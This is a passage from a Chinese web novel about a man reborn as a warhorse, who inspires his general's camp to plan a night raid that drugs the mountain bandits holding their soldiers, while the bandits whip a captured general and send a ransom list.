“说你两句还不服气,”霍霁风从怀里摸出小半块面饼,递到马儿嘴边。
被投喂的宋铮习惯了他时不时拿出点小零食,张嘴就嚼巴嚼巴吃起来。
刚吃完,宋铮灵机一动,想到了表达方式,他忙来到沙盘前,因为他平时夹杂在他们中间听他们开会商议都很乖,所以没人阻止。
看过在场的人,为帮救夏戎,觉得脏也忍了,他一脑袋扎进沙盘里。
“哎呀呀!”高崇山惊得飙出老家口语,“乌云你做啥~子哟!你锅坏马儿!”
陆十九出手拉住牵马绳。
一扎之后,宋铮迅速起头,沙盘里干燥的细沙被他的操作带飞,空气里扬满沙子,魏常离得最近,吃了一大口,噗的一声从嘴里喷出不少:“乌云你太过分了。”
在沙盘上“捣乱”还不算,他还得做一点事。
调头要去屏风后。
但牵马绳在陆十九手中。
陆十九:“将军,要不要末将把乌云赶出去?”
霍霁风皱眉:“你给我松手!”
陆十九:“是,将军!”
马毒已深入骨髓。
陆十九一松开,宋铮就跑到屏风后撞翻了铜盆,盆里的水全部倾倒在地上。
“哎.....”高崇山叹气,扶额,心说这匹马已被大将军宠得无法无天,这都不赶出去,难不成要等它把中军帐的顶给掀开咯?
突然,他脑子里灵光闪过,全身犹如打通任督二脉,精神亢奋。
“我懂了!”
“高某懂了!!!”高崇山异常激动,扬起的细沙就好比是粉尘类的毒药,打翻的洗脸水就是露珠,“我知道山匪是如何下毒的了,应是.......”
一通说下来,和宋铮想要他明白的一样,而且按照这个思路,他们也能给山匪们出其不意下毒。
首先,因为山匪俘虏士兵,为的就是军队无法再使用火攻,否则就是连带谷中的士兵们一起火葬,所以他们不杀俘虏,这能很好地保全自己。
用不了火攻只得改用其他办法,刚好山匪的下毒伎俩帮高崇山打开了思路。
葫芦谷就像山林中没有顶棚的巢穴,山匪全部藏匿在巢穴里,只要士兵在山崖上朝着谷内撒迷/药,借着夜晚的风能飘满那些屋舍周围的空气。
再佯攻引他们出动,将空气里的迷/药吸入鼻腔将其药倒,大部分人被药倒,其余人就不足为患了。
“先生果然是好计谋,高,实在是高!”魏常竖起大拇指夸赞。
高崇山捻着小胡须,笑着谦虚:“哈哈哈谬赞,谬赞,实是马云胡闹给了高某启发,好马,好马儿啊。”
宋铮:(-_-;)
几分钟前还说他是坏马来着。
有了明确的救人的计划,接下来怎么布置就不需要宋铮操心了,他的注意力被霍霁风的床吸引,脑海里想起《情深深雨蒙蒙》中的插曲《好想好想》。
好想好想.....
好想跳上床舒舒服服睡一觉。
他有多久没有感受过躺在床上是什么滋味了?
柔软的枕头,柔软的被褥,尤其是天气冷的时候,在被子里窝着是多么享受,将来做马久了,搞不好连这样感觉都回忆不起来了。
趁着他们还在商议,马脑袋摔向霍霁风的枕头上。
咚!
一声响震得他脑瓜子嗡嗡的。
忘了古人的枕头多用陶瓷、玉石、木头等材质,霍霁风的枕头看起来软,实则是在陶瓷外面裹了一层棉布而已。
烦人。
梆硬。
“噗噜噜.....”宋铮甩甩脑袋。
救人计划商议完毕,陆十九、魏常立即去安排,高崇山也去了医疗营准备药粉。
霍霁风看向屏风后露出的马蹄和耷拉着的马尾,再过去一看,乌云倒在他床边睡得很是“安息”,他摸了摸马腹,挺好,“尸体”暖暖的。
.....
山匪老窝。
这帮山匪也正商议生存大事,他们俘获了那么多士兵,光关押着怎么行,还得物尽其中。
比如用这些人命换物资。
一帮山匪磕
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磕绊绊用狗爬字体拟好张物资清单,要求军营给他们送大宛马一百匹,上等精米一千石,白面五百石,咸鱼腊肉各一百石,盐巴五十缸,菜油一百桶。
兵甲利器:精铁腰刀三百把,硬弓一百张,配雕翎箭五千支,铁甲一百副。
还要白银五千两,黄金三百两,要银票。
....
看到这张物资单子,被吊起来的夏戎吐了口血唾沫:“妈的,狗屁的单子比老子的命还长,你们怎么不去抢啊!”
“夏将军,他们就是明抢啊!现在是抢到咱们军营头上了,狗胆包天!”
夏戎身后是打造的一个个结实的木头笼子,士兵们全部被关在其中,场地是露天的,白天暴晒,晚上受冻。
常年受训的士兵面对这些是小儿科,难的是,山匪们给他们加量撒毒粉,一旦开始挠痒就不受控制,有的人脸都抓烂了。
“嗤,”带着清单来关押地的匪徒汉子很不屑,“俺们干的就是抢劫的行当,吃的就是这行的饭,能抢到你们军营头上,说明你们太不中用。”
“你们要这么多,我们就是能送,怕你们山寨也吞不下,呸!”李校尉在笼子里扭成了麻花,和跳钢管舞没什么两样,他死死忍住挠痒的冲动大骂。
汉子嗤笑:“你真当俺们大当家是傻的呢?俺们这些物资还有更大用处。”
“屁的用,我看你们当家就是个蠢蛋,等你们在老窝里孵出蛋来,大将军早把你们灭了!”夏戎仰天大笑。
另一名山匪拿鞭子狠狠抽在夏戎身上:“让你诋毁我们大当家的!”
一鞭又一鞭,直把夏戎抽得皮开肉绽,血肉模糊。
被关在笼子里的士兵们震怒叫嚣,愤怒的咆哮在山谷中久久回荡。
山匪提了一名士兵出来,将单子塞给他,放他出葫芦谷回去通知霍霁风准备物资。
这位士兵半路上就被黑暗中突然蹿出来的人劫了,士兵定睛一看,喜极而泣,是自己人。
霍霁风的行动很迅速,根本不想给山匪们多余的喘息机会。
一百名精兵随大将军悄无声息夜行。
而在这一百人的后方,一队步兵正牵着许多马匹走路前行。
为什么是牵着马走,而不是骑马?那是因为不想因马蹄声惊动狡猾的山匪,但解救出被俘的士兵后势必要用到马匹,将伤员尽快送回营医治,所以这些马是为伤员准备的。
他们在后方行走,等到葫芦谷附近,想必大将军已把夏将军等人救出来。
时间都掐算好了。
而这些马匹中,还有宋铮。
宋铮本来目送霍霁风出营就准备回马厩,不料被一个小兵给拦住,把他当成普通将士的马归入这次载伤员的行列中。
说来也怪不得这名小士兵,半年前刚入军营,第一次上战场就伤了眼睛和耳朵,真“消息闭塞”。
他伤一好就马不停蹄回来,却不知道大将军已换坐骑,他把宋铮赶入马群时其他士兵也没仔细注意,光着急去救人,就这么出发了。
冷冷的夜风,吹着冷冷的马脸。
宋铮一声不发地走在整个马队的后头。
沉默是淦。